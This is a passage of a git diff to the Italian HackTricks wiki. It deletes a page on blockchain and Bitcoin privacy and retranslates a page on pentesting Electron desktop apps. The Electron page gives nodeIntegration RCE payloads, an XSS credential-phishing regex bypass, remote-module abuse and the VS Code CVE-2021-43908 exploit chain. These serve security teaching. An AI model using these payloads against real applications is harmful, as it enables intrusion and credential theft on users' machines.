Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/blockchain-and-crypto-currencies.md b/src/crypto-and-stego/blockchain-and-crypto-currencies.md deleted file mode 100644 index 341123436..000000000 --- a/src/crypto-and-stego/blockchain-and-crypto-currencies.md +++ /dev/null @@ -1,182 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -## Concetti di Base - -- **Smart Contracts** sono definiti come programmi che vengono eseguiti su una blockchain quando vengono soddisfatte determinate condizioni, automatizzando l'esecuzione degli accordi senza intermediari. -- **Decentralized Applications (dApps)** si basano su smart contracts, presentando un'interfaccia utente intuitiva e un back-end trasparente e verificabile. -- **Tokens & Coins** differenziano dove le monete servono come denaro digitale, mentre i token rappresentano valore o proprietà in contesti specifici. -- **Utility Tokens** concedono accesso a servizi, e **Security Tokens** significano proprietà di asset. -- **DeFi** sta per Finanza Decentralizzata, offrendo servizi finanziari senza autorità centrali. -- **DEX** e **DAOs** si riferiscono a Piattaforme di Scambio Decentralizzate e Organizzazioni Autonome Decentralizzate, rispettivamente. - -## Meccanismi di Consenso - -I meccanismi di consenso garantiscono validazioni di transazione sicure e concordate sulla blockchain: - -- **Proof of Work (PoW)** si basa sulla potenza computazionale per la verifica delle transazioni. -- **Proof of Stake (PoS)** richiede ai validatori di detenere una certa quantità di token, riducendo il consumo energetico rispetto al PoW. - -## Fondamentali di Bitcoin - -### Transazioni - -Le transazioni Bitcoin comportano il trasferimento di fondi tra indirizzi. Le transazioni vengono validate tramite firme digitali, garantendo che solo il proprietario della chiave privata possa avviare i trasferimenti. - -#### Componenti Chiave: - -- **Transazioni Multisignature** richiedono più firme per autorizzare una transazione. -- Le transazioni consistono in **input** (fonte di fondi), **output** (destinazione), **commissioni** (pagate ai miner) e **script** (regole della transazione). - -### Lightning Network - -Punta a migliorare la scalabilità di Bitcoin consentendo più transazioni all'interno di un canale, trasmettendo solo lo stato finale alla blockchain. - -## Preoccupazioni sulla Privacy di Bitcoin - -Gli attacchi alla privacy, come **Common Input Ownership** e **UTXO Change Address Detection**, sfruttano i modelli di transazione. Strategie come **Mixers** e **CoinJoin** migliorano l'anonimato oscurando i collegamenti delle transazioni tra gli utenti. - -## Acquisire Bitcoin in Modo Anonimo - -I metodi includono scambi in contante, mining e utilizzo di mixer. **CoinJoin** mescola più transazioni per complicare la tracciabilità, mentre **PayJoin** maschera i CoinJoin come transazioni normali per una maggiore privacy. - -# Attacchi alla Privacy di Bitcoin - -# Riepilogo degli Attacchi alla Privacy di Bitcoin - -Nel mondo di Bitcoin, la privacy delle transazioni e l'anonimato degli utenti sono spesso oggetto di preoccupazione. Ecco una panoramica semplificata di diversi metodi comuni attraverso i quali gli attaccanti possono compromettere la privacy di Bitcoin. - -## **Assunzione di Proprietà di Input Comuni** - -È generalmente raro che input di diversi utenti vengano combinati in una singola transazione a causa della complessità coinvolta. Pertanto, **due indirizzi di input nella stessa transazione sono spesso assunti appartenere allo stesso proprietario**. - -## **Rilevamento dell'Indirizzo di Cambio UTXO** - -Un UTXO, o **Unspent Transaction Output**, deve essere completamente speso in una transazione. Se solo una parte di esso viene inviata a un altro indirizzo, il resto va a un nuovo indirizzo di cambio. Gli osservatori possono assumere che questo nuovo indirizzo appartenga al mittente, compromettendo la privacy. - -### Esempio - -Per mitigare questo, i servizi di mixing o l'uso di più indirizzi possono aiutare a oscurare la proprietà. - -## **Esposizione su Reti Sociali e Forum** - -Gli utenti a volte condividono i loro indirizzi Bitcoin online, rendendo **facile collegare l'indirizzo al suo proprietario**. - -## **Analisi del Grafo delle Transazioni** - -Le transazioni possono essere visualizzate come grafi, rivelando potenziali collegamenti tra gli utenti in base al flusso di fondi. - -## **Euristica di Input Non Necessari (Euristica di Cambio Ottimale)** - -Questa euristica si basa sull'analisi delle transazioni con più input e output per indovinare quale output è il cambio che ritorna al mittente. - -### Esempio -```bash -2 btc --> 4 btc -3 btc 1 btc -``` -Se l'aggiunta di più input rende l'output della modifica più grande di qualsiasi singolo input, può confondere l'euristica. - -## **Riutilizzo Forzato degli Indirizzi** - -Gli attaccanti possono inviare piccole somme a indirizzi già utilizzati, sperando che il destinatario combini questi con altri input in future transazioni, collegando così gli indirizzi tra loro. - -### Comportamento Corretto del Wallet - -I wallet dovrebbero evitare di utilizzare monete ricevute su indirizzi già utilizzati e vuoti per prevenire questa perdita di privacy. - -## **Altre Tecniche di Analisi della Blockchain** - -- **Importi di Pagamento Esatti:** Le transazioni senza resto sono probabilmente tra due indirizzi di proprietà dello stesso utente. -- **Numeri Rotondi:** Un numero tondo in una transazione suggerisce che si tratta di un pagamento, con l'output non tondo che probabilmente è il resto. -- **Fingerprinting del Wallet:** I diversi wallet hanno schemi unici di creazione delle transazioni, consentendo agli analisti di identificare il software utilizzato e potenzialmente l'indirizzo di resto. -- **Correlazioni tra Importo e Tempistiche:** La divulgazione dei tempi o degli importi delle transazioni può rendere le transazioni tracciabili. - -## **Analisi del Traffico** - -Monitorando il traffico di rete, gli attaccanti possono potenzialmente collegare transazioni o blocchi a indirizzi IP, compromettendo la privacy degli utenti. Questo è particolarmente vero se un'entità gestisce molti nodi Bitcoin, migliorando la propria capacità di monitorare le transazioni. - -## Altro - -Per un elenco completo di attacchi alla privacy e difese, visita [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). - -# Transazioni Bitcoin Anonime - -## Modi per Ottenere Bitcoin Anonimamente - -- **Transazioni in Contante**: Acquisire bitcoin tramite contante. -- **Alternative al Contante**: Acquistare carte regalo e scambiarle online per bitcoin. -- **Mining**: Il metodo più privato per guadagnare bitcoin è attraverso il mining, specialmente se fatto da solo, poiché i pool di mining possono conoscere l'indirizzo IP del miner. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Furto**: Teoricamente, rubare bitcoin potrebbe essere un altro metodo per acquisirlo in modo anonimo, anche se è illegale e non raccomandato. - -## Servizi di Mixing - -Utilizzando un servizio di mixing, un utente può **inviare bitcoin** e ricevere **bitcoin diversi in cambio**, il che rende difficile rintracciare il proprietario originale. Tuttavia, questo richiede fiducia nel servizio affinché non tenga registri e restituisca effettivamente i bitcoin. Opzioni di mixing alternative includono i casinò Bitcoin. - -## CoinJoin - -**CoinJoin** unisce più transazioni da diversi utenti in una sola, complicando il processo per chiunque cerchi di abbinare input e output. Nonostante la sua efficacia, le transazioni con dimensioni di input e output uniche possono comunque essere potenzialmente tracciate. - -Esempi di transazioni che potrebbero aver utilizzato CoinJoin includono `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. - -Per ulteriori informazioni, visita [CoinJoin](https://coinjoin.io/en). Per un servizio simile su Ethereum, dai un'occhiata a [Tornado Cash](https://tornado.cash), che anonimizza le transazioni con fondi provenienti dai miner. - -## PayJoin - -Una variante di CoinJoin, **PayJoin** (o P2EP), maschera la transazione tra due parti (ad esempio, un cliente e un commerciante) come una transazione normale, senza le caratteristiche distintive degli output uguali tipiche di CoinJoin. Questo rende estremamente difficile la rilevazione e potrebbe invalidare l'euristica di proprietà degli input comuni utilizzata dalle entità di sorveglianza delle transazioni. -```plaintext -2 btc --> 3 btc -5 btc 4 btc -``` -Le transazioni come quelle sopra potrebbero essere PayJoin, migliorando la privacy rimanendo indistinguibili dalle transazioni bitcoin standard. - -**L'utilizzo di PayJoin potrebbe interrompere significativamente i metodi di sorveglianza tradizionali**, rendendolo uno sviluppo promettente nella ricerca della privacy transazionale. - -# Migliori Pratiche per la Privacy nelle Criptovalute - -## **Tecniche di Sincronizzazione dei Wallet** - -Per mantenere la privacy e la sicurezza, è cruciale sincronizzare i wallet con la blockchain. Due metodi si distinguono: - -- **Full node**: Scaricando l'intera blockchain, un full node garantisce la massima privacy. Tutte le transazioni mai effettuate sono memorizzate localmente, rendendo impossibile per gli avversari identificare quali transazioni o indirizzi interessano l'utente. -- **Filtraggio dei blocchi lato client**: Questo metodo prevede la creazione di filtri per ogni blocco nella blockchain, consentendo ai wallet di identificare transazioni rilevanti senza esporre interessi specifici agli osservatori della rete. I wallet leggeri scaricano questi filtri, recuperando solo blocchi completi quando viene trovata una corrispondenza con gli indirizzi dell'utente. - -## **Utilizzare Tor per l'Anonymity** - -Dato che Bitcoin opera su una rete peer-to-peer, si consiglia di utilizzare Tor per mascherare il proprio indirizzo IP, migliorando la privacy durante l'interazione con la rete. - -## **Prevenire il Riutilizzo degli Indirizzi** - -Per proteggere la privacy, è fondamentale utilizzare un nuovo indirizzo per ogni transazione. Riutilizzare indirizzi può compromettere la privacy collegando transazioni alla stessa entità. I wallet moderni scoraggiano il riutilizzo degli indirizzi attraverso il loro design. - -## **Strategie per la Privacy delle Transazioni** - -- **Transazioni multiple**: Suddividere un pagamento in più transazioni può offuscare l'importo della transazione, ostacolando gli attacchi alla privacy. -- **Evitare il resto**: Optare per transazioni che non richiedono output di resto migliora la privacy interrompendo i metodi di rilevamento del resto. -- **Molteplici output di resto**: Se evitare il resto non è fattibile, generare molteplici output di resto può comunque migliorare la privacy. - -# **Monero: Un Faro di Anonimato** - -Monero risponde alla necessità di anonimato assoluto nelle transazioni digitali, stabilendo un elevato standard per la privacy. - -# **Ethereum: Gas e Transazioni** - -## **Comprendere il Gas** - -Il gas misura lo sforzo computazionale necessario per eseguire operazioni su Ethereum, valutato in **gwei**. Ad esempio, una transazione che costa 2.310.000 gwei (o 0.00231 ETH) comporta un limite di gas e una tassa base, con una mancia per incentivare i miner. Gli utenti possono impostare una tassa massima per assicurarsi di non pagare troppo, con l'eccedenza rimborsata. - -## **Esecuzione delle Transazioni** - -Le transazioni in Ethereum coinvolgono un mittente e un destinatario, che possono essere indirizzi di utenti o smart contract. Richiedono una tassa e devono essere minate. Le informazioni essenziali in una transazione includono il destinatario, la firma del mittente, il valore, dati opzionali, limite di gas e tasse. Notabilmente, l'indirizzo del mittente è dedotto dalla firma, eliminando la necessità di includerlo nei dati della transazione. - -Queste pratiche e meccanismi sono fondamentali per chiunque desideri interagire con le criptovalute dando priorità alla privacy e alla sicurezza. - -## Riferimenti - -- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) -- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) -- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions) -- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/) -- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) -- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index bf7a17aff..5250cf632 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -1,17 +1,17 @@ -# Electron Desktop Apps +# Applicazioni Desktop Electron {{#include ../../../banners/hacktricks-training.md}} -## Introduction +## Introduzione Electron combina un backend locale (con **NodeJS**) e un frontend (**Chromium**), anche se gli mancano alcuni dei meccanismi di sicurezza dei browser moderni. -Solitamente il codice dell'app Electron si trova all'interno di un'applicazione `.asar`; per ottenere il codice è necessario estrarlo: +Di solito potresti trovare il codice dell'app Electron all'interno di un'applicazione `.asar`; per ottenere il codice devi estrarlo: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -Nel codice sorgente di un'app Electron, all'interno di `packet.json`, puoi trovare specificato il file `main.js` dove sono impostate le configurazioni di sicurezza. +Nel codice sorgente di un'app Electron, all'interno di `packet.json`, è possibile trovare specificato il file `main.js` dove vengono impostate le configurazioni di sicurezza. ```json { "name": "standard-notes", @@ -20,11 +20,11 @@ Nel codice sorgente di un'app Electron, all'interno di `packet.json`, puoi trova Electron ha 2 tipi di processi: - Main Process (ha accesso completo a NodeJS) -- Renderer Process (dovrebbe avere l'accesso a NodeJS ristretto per motivi di sicurezza) +- Renderer Process (dovrebbe avere accesso a NodeJS limitato per motivi di sicurezza) ![](<../../../images/image (182).png>) -Un **renderer process** sarà una finestra del browser che carica un file: +Un **processo renderer** sarà una finestra del browser che carica un file: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,18 +32,18 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Le impostazioni del **renderer process** possono essere **configurate** nel **main process** all'interno del file main.js. Alcune configurazioni **impediranno all'applicazione Electron di ottenere RCE** o altre vulnerabilità se le **impostazioni sono configurate correttamente**. +Le impostazioni del **renderer process** possono essere **configurate** nel **main process** all'interno del file main.js. Alcune configurazioni possono **impedire all'Electron application di ottenere RCE** o altre vulnerabilità se le **impostazioni sono correttamente configurate**. -L'applicazione Electron **potrebbe accedere al dispositivo** tramite Node apis, sebbene possa essere configurata per impedirlo: +L'Electron application **potrebbe accedere al dispositivo** via Node apis anche se può essere configurata per impedirlo: -- **`nodeIntegration`** - è `off` per impostazione predefinita. Se attivato, permette l'accesso alle funzionalità di Node dal renderer process. -- **`contextIsolation`** - è `on` per impostazione predefinita. Se `off`, i processi main e renderer non sono isolati. -- **`preload`** - vuoto per impostazione predefinita. -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - è `off` per impostazione predefinita. Restringerà le azioni che NodeJS può eseguire. +- **`nodeIntegration`** - è `off` di default. Se attivato, permette di accedere alle funzionalità di Node dal renderer process. +- **`contextIsolation`** - è `on` di default. Se `off`, main e renderer processes non sono isolati. +- **`preload`** - vuoto di default. +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - è `off` di default. Restringerà le azioni che NodeJS può eseguire. - Node Integration in Workers -- **`nodeIntegrationInSubframes`** - è `off` per impostazione predefinita. -- Se **`nodeIntegration`** è **abilitato**, ciò consentirebbe l'uso delle **Node.js APIs** nelle pagine web **caricate in iframe** all'interno di un'applicazione Electron. -- Se **`nodeIntegration`** è **disabilitato**, allora i preload verranno caricati nell'iframe +- **`nodeIntegrationInSubframes`** - è `off` di default. +- Se **`nodeIntegration`** è **enabled**, questo permetterebbe l'uso delle **Node.js APIs** in pagine web che sono **caricate in iframes** all'interno di un Electron application. +- Se **`nodeIntegration`** è **disabled**, allora i preload verranno caricati nell'iframe Esempio di configurazione: ```javascript @@ -71,7 +71,7 @@ spellcheck: true, }, } ``` -Alcuni **RCE payloads** da [qui](https://7as.es/electron/nodeIntegration_rce.txt): +Alcuni **RCE payloads** da [here](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): src="x" onerror="alert(require('child_process').execSync('uname -a').toString());" /> ``` -### Cattura il traffico +### Cattura del traffico Modifica la configurazione start-main e aggiungi l'uso di un proxy come: ```javascript @@ -103,7 +103,7 @@ Modifica la configurazione start-main e aggiungi l'uso di un proxy come: ``` ## Electron Local Code Injection -Se puoi eseguire localmente un'app Electron, è possibile che tu possa farle eseguire codice javascript arbitrario. Vedi come in: +Se puoi eseguire localmente un Electron App, è possibile che tu possa fargli eseguire codice javascript arbitrario. Guarda come in: {{#ref}} @@ -112,7 +112,7 @@ Se puoi eseguire localmente un'app Electron, è possibile che tu possa farle ese ## RCE: XSS + nodeIntegration -Se la **nodeIntegration** è impostata su **on**, il JavaScript della pagina web può usare facilmente le funzionalità di Node.js semplicemente chiamando `require()`. Per esempio, il modo per eseguire l'applicazione calc su Windows è: +Se il **nodeIntegration** è impostato su **on**, il JavaScript di una pagina web può usare le funzionalità di Node.js facilmente semplicemente chiamando il `require()`. Per esempio, il modo per eseguire l'applicazione calc su Windows è: ```html ``` -## **RCE: XSS + Vecchio Chromium** +## **RCE: XSS + Old Chromium** -Se il **chromium** usato dall'applicazione è **vecchio** e ci sono **vulnerabilità** **note** su di esso, potrebbe essere possibile **sfruttarlo e ottenere RCE tramite una XSS**.\\ +Se il **chromium** usato dall'applicazione è **old** e ci sono **known** **vulnerabilities** su di esso, potrebbe essere possibile **exploit it and obtain RCE through a XSS**.\ Puoi vedere un esempio in questo **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) ## **XSS Phishing via Internal URL regex bypass** -Supponendo che tu abbia trovato una XSS ma **non puoi trigger RCE o rubare file interni** potresti provare a usarla per **rubare credenziali via phishing**. +Supponendo che tu abbia trovato una XSS ma **non puoi triggerare RCE o rubare file interni**, potresti provare a usarla per **rubare credenziali via phishing**. Prima di tutto devi sapere cosa succede quando provi ad aprire una nuova URL, controllando il codice JS nel front-end: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` -La chiamata a **`openInternally`** deciderà se il **link** sarà **aperto** nella **finestra desktop** poiché è un link appartenente alla piattaforma, **o** se sarà aperto nel **browser come risorsa di terze parti**. +La chiamata a **`openInternally`** deciderà se il **link** verrà **aperto** nella **desktop window** in quanto è un link appartenente alla piattaforma, **o** se verrà aperto nel **browser as a 3rd party resource**. -Nel caso la **regex** usata dalla funzione sia **vulnerabile a bypass** (per esempio **non eseguendo l'escape dei punti dei sottodomini**) un attaccante potrebbe abusare della XSS per **aprire una nuova finestra che** sarà collocata nell'infrastruttura dell'attaccante **richiedendo credenziali** all'utente: +Nel caso in cui il **regex** usato dalla funzione sia **vulnerable to bypasses** (per esempio **not escaping the dots of subdomains**) un attacker potrebbe abusare della XSS per **open a new window which** che sarà collocata nell'infrastruttura dell'attacker **asking for credentials** all'utente: ```html ``` -## `file://` Protocollo +## Protocollo `file://` -As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) le pagine eseguite su **`file://`** hanno accesso unilaterale a ogni file sulla tua macchina, il che significa che **XSS possono essere usate per caricare file arbitrari** dalla macchina dell'utente. L'uso di un **protocollo personalizzato** previene problemi di questo tipo poiché puoi limitare il protocollo a servire solo un insieme specifico di file. +Come menzionato in [la documentazione](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), le pagine che girano su **`file://`** hanno accesso unilaterale a ogni file della tua macchina, il che significa che **le vulnerabilità XSS possono essere usate per caricare file arbitrari** dalla macchina dell'utente. Usare un **protocollo personalizzato** previene problemi di questo tipo poiché puoi limitare il protocollo a servire solo un insieme specifico di file. -## Remote module +## Modulo Remote -The Electron Remote module permette ai **processi renderer di accedere alle API del processo principale**, facilitando la comunicazione all'interno di un'app Electron. Tuttavia, abilitare questo modulo introduce rischi significativi per la sicurezza. Espande la superficie di attacco dell'applicazione, rendendola più suscettibile a vulnerabilità come gli attacchi cross-site scripting (XSS). +Il modulo Remote di Electron permette ai **processi renderer di accedere alle API del processo principale**, facilitando la comunicazione all'interno di un'app Electron. Tuttavia, abilitare questo modulo introduce rischi significativi per la sicurezza. Aumenta la superficie d'attacco dell'applicazione, rendendola più suscettibile a vulnerabilità come attacchi cross-site scripting (XSS). > [!TIP] -> Anche se il modulo **remote** espone alcune API dal processo principale ai processi renderer, non è immediato ottenere RCE limitandosi ad abusare dei componenti. Tuttavia, i componenti potrebbero esporre informazioni sensibili. +> Sebbene il modulo **remote** esponga alcune API dal main ai processi renderer, non è semplice ottenere RCE sfruttando solo i componenti. Tuttavia, i componenti potrebbero esporre informazioni sensibili. > [!WARNING] -> Molte app che ancora usano il modulo remote lo fanno in modo da **richiedere che NodeIntegration sia abilitato** nel processo renderer, il che è un **enorme rischio per la sicurezza**. +> Molte app che ancora usano il modulo remote lo fanno in modo da **richiedere che NodeIntegration sia abilitato** nel processo renderer, il che rappresenta un **enorme rischio per la sicurezza**. -Da Electron 14 il modulo `remote` potrebbe essere abilitato in diversi passaggi; per motivi di sicurezza e prestazioni è **consigliato non usarlo**. +A partire da Electron 14, il modulo `remote` di Electron potrebbe essere abilitato in diversi modi; tuttavia, per ragioni di sicurezza e performance è **consigliato non usarlo**. Per abilitarlo, è prima necessario **abilitarlo nel processo principale**: ```javascript @@ -324,33 +324,33 @@ Quindi, il processo renderer può importare oggetti dal modulo in questo modo: ```javascript import { dialog, getCurrentWindow } from '@electron/remote' ``` -The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica alcune interessanti **funzioni** esposte dall'oggetto **`app`** dal remote module: +Il **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica alcune **funzioni** interessanti esposte dall'oggetto **`app`** del remote module: - **`app.relaunch([options])`** -- **Riavvia** l'applicazione terminando l'istanza corrente e **avviandone** una nuova. Utile per **aggiornamenti dell'app** o cambiamenti significativi di **stato**. +- **Riavvia** l'applicazione terminando l'istanza corrente e avviandone una nuova. Utile per **aggiornamenti dell'app** o significativi **cambiamenti di stato**. - **`app.setAppLogsPath([path])`** -- **Definisce** o **crea** una directory per memorizzare i **log** dell'app. I log possono essere **recuperati** o **modificati** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**. +- **Definisce** o **crea** una directory per memorizzare i **log dell'app**. I log possono essere **recuperati** o **modificati** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**. - **`app.setAsDefaultProtocolClient(protocol[, path, args])`** -- **Registra** l'eseguibile corrente come **gestore predefinito** per un determinato **protocollo**. Puoi fornire un **percorso personalizzato** e **argomenti** se necessario. +- **Registra** l'eseguibile corrente come **gestore predefinito** per un specifico **protocollo**. È possibile fornire un **percorso personalizzato** e **argomenti** se necessario. - **`app.setUserTasks(tasks)`** -- **Aggiunge** attività alla **categoria Tasks** nella **Jump List** (su Windows). Ogni attività può controllare come l'app viene **avviata** o quali **argomenti** vengono passati. +- **Aggiunge** task alla **Tasks category** nella **Jump List** (su Windows). Ogni task può controllare come l'app viene **avviata** o quali **argomenti** vengono passati. - **`app.importCertificate(options, callback)`** -- **Importa** un certificato **PKCS#12** nello store dei certificati del sistema (solo Linux). Una **callback** può essere usata per gestire il risultato. +- **Importa** un certificato **PKCS#12** nello **store dei certificati** di sistema (solo Linux). Una **callback** può essere usata per gestire il risultato. - **`app.moveToApplicationsFolder([options])`** -- **Sposta** l'applicazione nella cartella **Applications** (su macOS). Aiuta a garantire un'installazione **standard** per gli utenti Mac. +- **Sposta** l'applicazione nella **cartella Applications** (su macOS). Aiuta a garantire un'**installazione standard** per gli utenti Mac. - **`app.setJumpList(categories)`** -- **Imposta** o **rimuove** una **Jump List** personalizzata su **Windows**. Puoi specificare **categorie** per organizzare come le attività appaiono all'utente. +- **Imposta** o **rimuove** una **Jump List personalizzata** su **Windows**. È possibile specificare **categorie** per organizzare come i task vengono mostrati all'utente. - **`app.setLoginItemSettings(settings)`** - **Configura** quali **eseguibili** vengono avviati al **login** insieme alle loro **opzioni** (solo macOS e Windows). -Example: +Esempio: ```javascript Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.exit() ``` ## systemPreferences module -The **API principale** per accedere alle preferenze di sistema e per **emettere eventi di sistema** in Electron. Metodi come **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, e **setUserDefault** sono tutti **parte di** questo modulo. +L'**API principale** per accedere alle preferenze di sistema e **emettere eventi di sistema** in Electron. Metodi come **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, e **setUserDefault** sono tutti **parte di** questo modulo. **Esempio d'uso:** ```javascript @@ -368,32 +368,32 @@ console.log('Recent Places:', recentPlaces); ### **subscribeNotification / subscribeWorkspaceNotification** * **Ascolta** le **notifiche native di macOS** usando NSDistributedNotificationCenter. -* Prima di **macOS Catalina**, era possibile sniffare **tutte** le distributed notifications passando **nil** a CFNotificationCenterAddObserver. -* Dopo **Catalina / Big Sur**, le app sandboxate possono ancora **subscribe** a **molti eventi** (per esempio, **screen locks/unlocks**, **volume mounts**, **network activity**, ecc.) registrando notifiche **per nome**. +* Prima di **macOS Catalina**, era possibile effettuare **sniffing** di **tutte** le notifiche distribuite passando **nil** a CFNotificationCenterAddObserver. +* Dopo **Catalina / Big Sur**, le app sandboxed possono ancora **iscriversi** a **molti eventi** (per esempio, **screen locks/unlocks**, **volume mounts**, **network activity**, ecc.) registrando notifiche **per nome**. ### **getUserDefault / setUserDefault** -* **Interagisce** con **NSUserDefaults**, che memorizza le preferenze **dell’applicazione** o **globali** su macOS. +* **Interfaccia** con **NSUserDefaults**, che memorizza le preferenze **dell'applicazione** o **globali** su macOS. -* **getUserDefault** può **recuperare** informazioni sensibili, come **posizioni di file recenti** o la **posizione geografica** dell’utente. +* **getUserDefault** può **recuperare** informazioni sensibili, come **posizioni di file recenti** o la **posizione geografica dell'utente**. -* **setUserDefault** può **modificare** queste preferenze, influenzando potenzialmente la **configurazione** di un’app. +* **setUserDefault** può **modificare** queste preferenze, influenzando potenzialmente la **configurazione** dell'app. -* Nelle **vecchie versioni di Electron** (prima di v8.3.0), era accessibile solo la **standard suite** di NSUserDefaults. +* Nelle **vecchie versioni di Electron** (prima di v8.3.0), solo la **standard suite** di NSUserDefaults era **accessibile**. ## Shell.showItemInFolder -Questa funzione mostra il file fornito in un file manager, che **potrebbe eseguire automaticamente il file**. +Questa funzione mostra il file dato in un file manager, che **potrebbe eseguire automaticamente il file**. -For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) +Per maggiori informazioni consulta [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) ## Content Security Policy -Le app Electron dovrebbero avere una **Content Security Policy (CSP)** per **prevenire attacchi XSS**. La **CSP** è uno **standard di sicurezza** che aiuta a **impedire** l'**esecuzione** di **codice non affidabile** nel browser. +Le app Electron dovrebbero avere una **Content Security Policy (CSP)** per **prevenire attacchi XSS**. La **CSP** è uno **standard di sicurezza** che aiuta a **impedire** l'**esecuzione** di **codice non attendibile** nel browser. -Di solito è **configurata** nel file **`main.js`** o nel template **`index.html`** con la CSP all'interno di un **meta tag**. +Di solito viene **configurata** nel file **`main.js`** o nel template **`index.html`** con la CSP all'interno di un **meta tag**. -Per maggiori informazioni vedi: +Per maggiori informazioni consulta: {{#ref}} @@ -403,14 +403,14 @@ pentesting-web/content-security-policy-csp-bypass/ ## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63) -Questa catena reale ha colpito Visual Studio Code 1.63 (CVE-2021-43908) e dimostra come un singolo XSS driven da markdown in una webview possa essere scalato a RCE completo quando CSP, postMessage e scheme handlers sono configurati in modo errato. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt +Questa catena reale ha colpito Visual Studio Code 1.63 (CVE-2021-43908) e dimostra come un singolo XSS generato da markdown in una webview possa essere scalato a un RCE completo quando CSP, postMessage e scheme handler sono mal configurati. PoC pubblico: https://github.com/Sudistark/vscode-rce-electrovolt -Panoramica della catena d'attacco -- Prima XSS via webview CSP: la CSP generata includeva `style-src 'self' 'unsafe-inline'`, permettendo injection inline/basata su style in un contesto `vscode-webview://`. Il payload invocava `/stealID` per esfiltrare l'extensionId del webview target. -- Costruzione dell'URL del webview target: usando l'ID leaked per creare `vscode-webview:///.../`. -- Secondo XSS via postMessage trust: il webview esterno si fidava di `window.postMessage` senza controlli rigorosi su origin/type e caricava HTML malevolo con `allowScripts: true`. -- Caricamento di file locali tramite riscrittura di scheme/path: il payload riscriveva `file:///...` in `vscode-file://vscode-app/...` e sostituiva `exploit.md` con `RCE.html`, abusando della debole validazione dei path per caricare una risorsa locale privilegiata. -- RCE in contesto Node-enabled: l'HTML caricato veniva eseguito con le Node API disponibili, permettendo l'esecuzione di comandi OS. +Panoramica della catena di attacco +- Primo XSS tramite webview CSP: la CSP generata includeva `style-src 'self' 'unsafe-inline'`, permettendo l'iniezione inline/basata su style in un contesto `vscode-webview://`. Il payload inviava un beacon a `/stealID` per esfiltrare l'extensionId della webview target. +- Costruzione dell'URL della webview target: usando l'ID leaked per costruire `vscode-webview:///.../`. +- Secondo XSS tramite fiducia in postMessage: la webview esterna si fidava di `window.postMessage` senza controlli stringenti su origin/type e caricava HTML dell'attaccante con `allowScripts: true`. +- Caricamento di file locali tramite riscrittura di scheme/percorso: il payload riscriveva `file:///...` in `vscode-file://vscode-app/...` e sostituiva `exploit.md` con `RCE.html`, abusando di una debole validazione dei percorsi per caricare una risorsa locale privilegiata. +- RCE in un contesto con Node abilitato: l'HTML caricato veniva eseguito con le Node APIs disponibili, ottenendo esecuzione di comandi OS. Esempio di primitive RCE nel contesto finale ```js @@ -428,12 +428,12 @@ Letture correlate sui problemi di fiducia relativi a postMessage: - [**Electronegativity**](https://github.com/doyensec/electronegativity) è uno strumento per identificare misconfigurazioni e anti-pattern di sicurezza nelle applicazioni basate su Electron. - [**Electrolint**](https://github.com/ksdmitrieva/electrolint) è un plugin open source per VS Code per applicazioni Electron che usa Electronegativity. -- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) per controllare la presenza di librerie di terze parti vulnerabili +- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) per controllare librerie di terze parti vulnerabili - [**Electro.ng**](https://electro.ng/): È a pagamento ## Laboratori -In 